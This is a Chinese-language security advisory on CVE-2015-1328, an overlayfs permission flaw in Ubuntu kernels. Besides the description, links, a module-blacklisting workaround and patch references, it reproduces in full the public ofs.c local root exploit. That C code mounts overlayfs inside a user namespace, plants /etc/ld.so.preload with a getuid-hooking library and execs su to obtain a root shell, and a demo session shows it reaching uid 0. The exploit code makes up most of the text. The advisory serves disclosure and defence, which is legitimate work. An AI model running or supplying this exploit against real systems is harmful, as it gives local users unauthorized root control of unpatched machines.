Ubuntu Linux内核overlayfs文件系统本地权限提升漏洞(CVE-2015-1328)
发布日期：2015-06-18
更新日期：2015-06-18
受影响系统：
Ubuntu Linux 15.04
Ubuntu Linux 14.10
Ubuntu Linux 14.04
Ubuntu Linux 12.04
描述：
CVE(CAN) ID: CVE-2015-1328
overlayfs文件系统是一种叠合式文件系统，实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。
Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞，本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本，目前已经发布攻击代码，建议受影响用户尽快进行升级。
此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入，导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时，文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志，将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容，从而提升到管理员权限。
来源：Philip Pettersson
链接：http://seclists.org/oss-sec/2015/q2/717
http://www.ubuntu.com/usn/usn-2640-1/
http://www.ubuntu.com/usn/usn-2641-1/
http://www.ubuntu.com/usn/usn-2642-1/
http://www.ubuntu.com/usn/usn-2643-1/
http://www.ubuntu.com/usn/usn-2644-1/
http://www.ubuntu.com/usn/usn-2645-1/
http://www.ubuntu.com/usn/usn-2646-1/
http://www.ubuntu.com/usn/usn-2647-1/
测试方法：
警告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
https://www.exploit-db.com/exploits/37292/
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328(http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\nreturn _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
建议：
临时解决方法：
如果您无法及时升级内核，也不需要使用overlayfs，可以将overelayfs加入黑名单
或者直接删除overlayfs.ko或overlay.ko模块文件：
# modprobe -r overlayfs
# echo "blacklist overlayfs" > /etc/modprobe.d/blacklist-overlayfs.conf
注：在一些更老的版本中，该内核模块的名字也可能是overlay。
可以先用modinfo overlay或modinfo overlayfs来确认准确的内核模块名字。
厂商补丁：
Ubuntu
------
Ubuntu已经为此发布了下列安全公告以及相应补丁:
http://www.ubuntu.com/usn/usn-2640-1
http://www.ubuntu.com/usn/usn-2641-1
http://www.ubuntu.com/usn/usn-2642-1
http://www.ubuntu.com/usn/usn-2643-1
http://www.ubuntu.com/usn/usn-2644-1
http://www.ubuntu.com/usn/usn-2645-1
http://www.ubuntu.com/usn/usn-2646-1
http://www.ubuntu.com/usn/usn-2647-1
附加信息：
1. http://seclists.org/oss-sec/2015/q2/717
2. http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html
3. https://www.exploit-db.com/exploits/37292/
4. http://www.nsfocus.net/index.php?act=alert&do=view&aid=158
不知道密码在已登录帐号获得root权限要到Ubuntu 15.10才修复：http://www.linuxdiyf.com/linux/12058.html